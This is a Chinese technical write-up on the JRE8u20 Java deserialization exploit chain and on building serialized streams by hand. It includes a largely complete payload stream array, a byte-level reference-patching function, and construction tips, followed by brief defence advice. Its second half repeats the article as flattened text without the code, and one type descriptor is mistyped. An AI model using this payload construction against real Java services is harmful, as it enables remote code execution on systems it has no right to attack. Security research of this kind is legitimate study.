JRE8u20 反序列化利用链及序列化流构造技术分析
字数 1491 2025-08-05 08:17:46

JRE8u20反序列化利用链及序列化流构造技术深度分析

0x01 序列化基础知识

序列化数据结构解析

Java序列化数据由以下关键部分组成:

  1. 基本头部信息

    • STREAM_MAGIC (0xaced):标识序列化数据开始
    • STREAM_VERSION (0x0005):序列化协议版本
  2. 对象描述部分

    • TC_OBJECT (0x73):标识接下来是一个对象
    • TC_CLASSDESC (0x72):类描述符
      • 类名长度和值
      • serialVersionUID:序列化ID
      • classDescFlags:类描述符标记
      • fieldCount:成员属性数量
      • 字段描述(类型、名称等)
    • TC_ENDBLOCKDATA (0x78):类描述结束标记
    • 父类描述(如果有)
  3. 对象数据部分

    • 字段的实际值
    • TC_REFERENCE (0x71):引用已序列化的对象
  4. Handle机制

    • 每个序列化对象都会被分配一个handle
    • 后续引用该对象时使用handle值
    • 示例handle值:0x007e0000、0x007e0001等

反序列化关键过程

  1. defaultReadFields:负责初始化序列化数据中的Fields字段
  2. 对于没有字段的类(如HashSet),不会执行字段反序列化
  3. 可以通过在序列化数据中人为添加字段,强制反序列化过程读取这些字段

0x02 JRE8u20漏洞原理分析

漏洞背景

JRE8u20是JDK7u21反序列化漏洞的绕过补丁,主要解决以下问题:

  1. JDK7u21补丁在AnnotationInvocationHandler.readObject中增加了代理类检查:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        // ...
    }
    
  2. 检查出现在defaultReadObject之后,对象已被还原

绕过思路

  1. 利用包裹类:使用一个能捕获异常的类包裹AnnotationInvocationHandler

    • 确保AnnotationInvocationHandler被正确反序列化
    • 捕获并处理检查抛出的异常
  2. 字段注入:在序列化数据中注入不存在的字段

    • 字段中包含序列化类,包裹AnnotationInvocationHandler
    • 可注入位置:
      • HashSet的字段
      • HashSet成员的字段
  3. 选择包裹类:使用java.beans.beancontext.BeanContextSupport

    private synchronized void readObject(ObjectInputStream ois) 
        throws IOException, ClassNotFoundException {
        synchronized(BeanContext.globalHierarchyLock) {
            ois.defaultReadObject();
            initialize();
            bcsPreDeserializationHook(ois);
            if (serializable > 0 && this.equals(getBeanContextPeer()))
                readChildren(ois);
            deserialize(ois, bcmListeners = new ArrayList(1));
        }
    }
    
    public final void readChildren(ObjectInputStream ois) 
        throws IOException, ClassNotFoundException {
        while (count-- > 0) {
            try {
                child = ois.readObject();
                bscc = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;  // 关键:捕获并继续执行
            } catch (ClassNotFoundException cnfe) {
                continue;  // 关键:捕获并继续执行
            }
            // ...
        }
    }
    

序列化流构造技术

  1. 基本结构

    Object[] ser = new Object[]{
        STREAM_MAGIC,
        STREAM_VERSION,
        // LinkedHashSet部分
        TC_OBJECT, TC_CLASSDESC, LinkedHashSet.class.getName(), 
        -2851667679971038690L, (byte)SC_SERIALIZABLE, (short)0, TC_ENDBLOCKDATA,
        // HashSet部分
        TC_CLASSDESC, "java.util.HashSet", -5024744406713321676L,
        (byte)(SC_SERIALIZABLE|SC_WRITE_METHOD), (short)0, TC_ENDBLOCKDATA, TC_NULL,
        // HashSet数据
        TC_BLOCKDATA, (byte)12, (short)0, (short)16, (short)16192, (short)0, (short)0, (short)2,
        // 第一个元素(Templates对象)
        templates,
        // 第二个元素(代理对象)
        TC_OBJECT, TC_PROXYCLASSDESC, 1, Templates.class.getName(), 
        TC_ENDBLOCKDATA, TC_CLASSDESC, Proxy.class.getName(), -2222568056686623797L,
        SC_SERIALIZABLE, (short)2,
        // 伪造字段
        (byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;",
        (byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;",
        TC_ENDBLOCKDATA,TC_NULL,
        // BeanContextSupport数据
        TC_OBJECT, TC_CLASSDESC, BeanContextSupport.class.getName(),
        -4879613978649577204L, (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD), (short)1,
        (byte)'I',"serializable", TC_ENDBLOCKDATA,
        // 父类数据
        TC_CLASSDESC, BeanContextChildSupport.class.getName(), 6328947014421475877L,
        SC_SERIALIZABLE, (short)1, (byte)'L',"beanContextChildPeer",
        TC_STRING,"Ljava/beans/beancontext/BeanContextChild;", TC_ENDBLOCKDATA, TC_NULL,
        // 类数据
        TC_REFERENCE,baseWireHandle+25, 1,
        // AnnotationInvocationHandler
        TC_OBJECT, TC_CLASSDESC, "sun.reflect.annotation.AnnotationInvocationHandler",
        6182022883658399397L, (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD), (short)2,
        (byte)'L', "memberValues", TC_STRING, "Ljava/util/Map;",
        (byte)'L', "type", TC_STRING, "Ljava/lang/Class;", TC_ENDBLOCKDATA, TC_NULL,
        map, Templates.class,
        // 结束
        TC_BLOCKDATA, (byte)4, 0, TC_ENDBLOCKDATA,
        TC_REFERENCE,baseWireHandle+29, TC_ENDBLOCKDATA
    };
    
  2. 引用修补技术

    public static byte[] patch(byte[] bytes) {
        for (int i = 0; i < bytes.length; i++) {
            if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && 
                bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
                i = i + 4;
                if (bytes[i] == 1) bytes[i] = 4;
                if (bytes[i] == 0x0a) bytes[i]=0x0d; // 修改templates引用
                if (bytes[i] == 2) bytes[i]= 9;
            }
        }
        return bytes;
    }
    
  3. Map构造技巧

    • 初始构造使用键值相同的Map:
      HashMap map = new HashMap();
      map.put("f5a5a608", "f5a5a608");
      
    • 实际利用时通过修改引用指向恶意Templates对象
    • 优点:避免序列化数据中出现大量TC_REFERENCE,简化构造过程

0x03 工具与最佳实践

  1. SerialWriter工具

    • 由QAX团队开发
    • 提供面向对象的序列化数据生成方式
    • 自动处理Reference计算等复杂问题
    • GitHub地址:https://github.com/QAX-A-Team/SerialWriter
  2. 构造建议

    • 优先使用工具生成基础序列化结构
    • 手动调整关键引用和字段
    • 特别注意handle值的正确性
    • 测试不同JDK版本的兼容性

0x04 防御建议

  1. 升级至最新JDK版本
  2. 对反序列化操作进行严格限制
  3. 使用白名单机制控制可反序列化的类
  4. 监控和拦截异常的序列化数据格式

参考资源

  1. Java 8u20反序列化漏洞分析
  2. [JRE8u20反序列化漏洞分析]
  3. [深度 - Java 反序列化 Payload 之 JRE8u20]
  4. pwntester/JRE8u20_RCE_Gadget
  5. QAX-A-Team/SerialWriter
JRE8u20反序列化利用链及序列化流构造技术深度分析 0x01 序列化基础知识 序列化数据结构解析 Java序列化数据由以下关键部分组成: 基本头部信息 STREAM_MAGIC (0xaced):标识序列化数据开始 STREAM_VERSION (0x0005):序列化协议版本 对象描述部分 TC_OBJECT (0x73):标识接下来是一个对象 TC_CLASSDESC (0x72):类描述符 类名长度和值 serialVersionUID :序列化ID classDescFlags :类描述符标记 fieldCount :成员属性数量 字段描述(类型、名称等) TC_ENDBLOCKDATA (0x78):类描述结束标记 父类描述(如果有) 对象数据部分 字段的实际值 TC_REFERENCE (0x71):引用已序列化的对象 Handle机制 每个序列化对象都会被分配一个handle 后续引用该对象时使用handle值 示例handle值:0x007e0000、0x007e0001等 反序列化关键过程 defaultReadFields :负责初始化序列化数据中的Fields字段 对于没有字段的类(如HashSet),不会执行字段反序列化 可以通过在序列化数据中人为添加字段,强制反序列化过程读取这些字段 0x02 JRE8u20漏洞原理分析 漏洞背景 JRE8u20是JDK7u21反序列化漏洞的绕过补丁,主要解决以下问题: JDK7u21补丁在 AnnotationInvocationHandler.readObject 中增加了代理类检查: 检查出现在 defaultReadObject 之后,对象已被还原 绕过思路 利用包裹类 :使用一个能捕获异常的类包裹 AnnotationInvocationHandler 确保 AnnotationInvocationHandler 被正确反序列化 捕获并处理检查抛出的异常 字段注入 :在序列化数据中注入不存在的字段 字段中包含序列化类,包裹 AnnotationInvocationHandler 可注入位置: HashSet的字段 HashSet成员的字段 选择包裹类 :使用 java.beans.beancontext.BeanContextSupport 序列化流构造技术 基本结构 : 引用修补技术 : Map构造技巧 : 初始构造使用键值相同的Map: 实际利用时通过修改引用指向恶意Templates对象 优点:避免序列化数据中出现大量TC_ REFERENCE,简化构造过程 0x03 工具与最佳实践 SerialWriter工具 : 由QAX团队开发 提供面向对象的序列化数据生成方式 自动处理Reference计算等复杂问题 GitHub地址:https://github.com/QAX-A-Team/SerialWriter 构造建议 : 优先使用工具生成基础序列化结构 手动调整关键引用和字段 特别注意handle值的正确性 测试不同JDK版本的兼容性 0x04 防御建议 升级至最新JDK版本 对反序列化操作进行严格限制 使用白名单机制控制可反序列化的类 监控和拦截异常的序列化数据格式 参考资源 Java 8u20反序列化漏洞分析 [ JRE8u20反序列化漏洞分析 ] [ 深度 - Java 反序列化 Payload 之 JRE8u20 ] pwntester/JRE8u20_ RCE_ Gadget QAX-A-Team/SerialWriter